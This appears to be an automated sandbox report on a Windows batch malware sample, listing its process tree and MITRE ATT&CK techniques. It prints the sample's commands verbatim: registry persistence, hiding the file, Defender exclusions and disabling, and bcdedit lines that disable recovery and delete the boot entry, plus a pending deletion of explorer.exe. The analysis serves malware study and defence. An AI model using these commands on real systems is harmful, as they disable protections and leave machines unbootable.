    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:508
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" kill_loop
    3⤵
    PID:5944
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:3448
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1036
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      PID:5492
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        Executes a command shell one-liner
        
        PID:964
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:4040
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:1124
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:3336
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:4068
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:1808
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6472
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6824
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:8044
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:3288
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        
        PID:5200
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        
        PID:1468
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" wipe
    3⤵
    PID:3704
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:4300
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:3240
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      PID:4276
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:5552
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:2992
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:676
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:512
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:6872
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:7340
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:8052
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:7788
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:2116
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:8692
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:5372
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:11232
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" fill
    3⤵
    PID:2524
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:1908
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5812
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      PID:1872
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        Executes a command shell one-liner
        
        PID:4884
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:4008
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:4632
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:4076
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        
        PID:7016
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:7400
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:8160
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6824
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:4420
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:6832
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        
        PID:8312
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        
        PID:1080
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" spam
    3⤵
    PID:3952
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:3932
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:4480
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      PID:3224
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:2916
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:1252
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:4292
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:2476
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:6280
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:3912
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:7480
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6444
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:4476
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:8472
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        
        PID:6720
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6968
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" deskdump
    3⤵
    PID:336
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:1884
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:4924
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3332
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:5108
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:1856
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:4660
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:2460
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        
        PID:6216
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6716
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:7176
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:7784
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:7600
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:4356
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        
        PID:5764
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6608
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockshutdown
    3⤵
    PID:2236
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:5376
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:4288
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2868
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:4996
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:4920
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:2696
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:5864
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:5240
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:2468
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6436
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6236
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:2152
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:8944
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:2756
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        
        PID:8544
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockinput
    3⤵
    PID:2164
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:2580
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:440
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      PID:4236
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:5696
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:2864
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:212
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:5748
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:984
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6368
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6316
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:7672
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:7416
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:9044
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:512
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        
        PID:4464
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
    3⤵
    PID:5212
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4944
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2848
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4428
- - C:\Windows\system32\timeout.exe
    timeout /t 5 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4896
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
    3⤵
    - Discovers running processes
    PID:7080
- - C:\Windows\system32\find.exe
    find /c /v ""
    3⤵
    PID:2004

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...